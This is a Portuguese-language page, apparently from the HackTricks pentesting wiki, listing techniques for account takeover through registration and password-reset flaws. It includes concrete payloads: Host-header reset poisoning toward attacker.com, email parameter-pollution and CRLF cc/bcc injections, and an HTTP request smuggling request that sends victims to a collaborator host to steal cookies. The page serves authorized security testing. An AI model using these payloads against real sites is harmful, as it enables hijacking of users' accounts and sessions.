11 KiB
Vulnerabilidades de Registro e Tomada de Conta
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
WhiteIntel
WhiteIntel é um motor de busca alimentado pela dark-web que oferece funcionalidades gratuitas para verificar se uma empresa ou seus clientes foram comprometidos por malwares de roubo.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode conferir o site deles e experimentar o motor gratuitamente em:
{% embed url="https://whiteintel.io" %}
Tomada de Registro
Registro Duplicado
- Tente gerar usando um nome de usuário existente
- Verifique variando o email:
- maiúsculas
- +1@
- adicione algum ponto no email
- caracteres especiais no nome do email (%00, %09, %20)
- Coloque caracteres pretos após o email:
test@test.com a
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
Enumeração de Nome de Usuário
Verifique se você consegue descobrir quando um nome de usuário já foi registrado dentro da aplicação.
Política de Senha
Ao criar um usuário, verifique a política de senha (verifique se você pode usar senhas fracas).
Nesse caso, você pode tentar forçar credenciais.
Injeção SQL
Verifique esta página para aprender como tentar tomadas de conta ou extrair informações via Injeções SQL em formulários de registro.
Tomadas de Oauth
{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}
Vulnerabilidades SAML
{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}
Alterar Email
Quando registrado, tente alterar o email e verifique se essa alteração é corretamente validada ou se pode mudá-lo para emails arbitrários.
Mais Verificações
- Verifique se você pode usar emails descartáveis
- Senha Longa (>200) leva a DoS
- Verifique limites de taxa na criação de contas
- Use username@burp_collab.net e analise o callback
Tomada de Redefinição de Senha
Vazamento de Token de Redefinição de Senha Via Referenciador
- Solicite a redefinição de senha para seu endereço de email
- Clique no link de redefinição de senha
- Não altere a senha
- Clique em qualquer site de terceiros (ex: Facebook, Twitter)
- Intercepte a solicitação no proxy Burp Suite
- Verifique se o cabeçalho referer está vazando o token de redefinição de senha.
Envenenamento de Redefinição de Senha
- Intercepte a solicitação de redefinição de senha no Burp Suite
- Adicione ou edite os seguintes cabeçalhos no Burp Suite:
Host: attacker.com
,X-Forwarded-Host: attacker.com
- Encaminhe a solicitação com o cabeçalho modificado
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
- Procure uma URL de redefinição de senha com base no cabeçalho host como:
https://attacker.com/reset-password.php?token=TOKEN
Redefinição de Senha Via Parâmetro de Email
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR em Parâmetros de API
- O atacante deve fazer login com sua conta e ir para a funcionalidade Alterar senha.
- Inicie o Burp Suite e intercepte a solicitação.
- Envie para a aba de repetição e edite os parâmetros: ID do usuário/e-mail
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Token de Redefinição de Senha Fraco
O token de redefinição de senha deve ser gerado aleatoriamente e ser único a cada vez.
Tente determinar se o token expira ou se é sempre o mesmo; em alguns casos, o algoritmo de geração é fraco e pode ser adivinhado. As seguintes variáveis podem ser usadas pelo algoritmo.
- Timestamp
- UserID
- E-mail do usuário
- Primeiro e último nome
- Data de nascimento
- Criptografia
- Apenas números
- Sequência de token pequena (caracteres entre [A-Z,a-z,0-9])
- Reutilização de token
- Data de expiração do token
Vazamento de Token de Redefinição de Senha
- Acione um pedido de redefinição de senha usando a API/UI para um e-mail específico, por exemplo: test@mail.com
- Inspecione a resposta do servidor e verifique o
resetToken
- Em seguida, use o token em uma URL como
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Redefinição de Senha Via Colisão de Nome de Usuário
- Registre-se no sistema com um nome de usuário idêntico ao nome de usuário da vítima, mas com espaços em branco inseridos antes e/ou depois do nome de usuário. por exemplo:
"admin "
- Solicite uma redefinição de senha com seu nome de usuário malicioso.
- Use o token enviado para seu e-mail e redefina a senha da vítima.
- Conecte-se à conta da vítima com a nova senha.
A plataforma CTFd foi vulnerável a este ataque.
Veja: CVE-2020-7245
Tomada de Conta Via Cross Site Scripting
- Encontre um XSS dentro da aplicação ou um subdomínio se os cookies estiverem escopados para o domínio pai:
*.domain.com
- Vaze o cookie de sessões atual
- Autentique-se como o usuário usando o cookie
Tomada de Conta Via HTTP Request Smuggling
1. Use smuggler para detectar o tipo de HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Crie uma solicitação que sobrescreva o POST / HTTP/1.1
com os seguintes dados:
GET http://something.burpcollaborator.net HTTP/1.1 X:
com o objetivo de redirecionar as vítimas para burpcollab e roubar seus cookies
3. A solicitação final pode parecer a seguinte
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Hackerone reports exploiting this bug
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666
Tomada de Conta via CSRF
- Crie um payload para o CSRF, por exemplo: “formulário HTML com envio automático para uma alteração de senha”
- Envie o payload
Tomada de Conta via JWT
JSON Web Token pode ser usado para autenticar um usuário.
- Edite o JWT com outro ID de Usuário / Email
- Verifique a assinatura fraca do JWT
{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}
Referências
WhiteIntel
WhiteIntel é um motor de busca alimentado pela dark-web que oferece funcionalidades gratuitas para verificar se uma empresa ou seus clientes foram comprometidos por malwares ladrões.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o motor gratuitamente em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.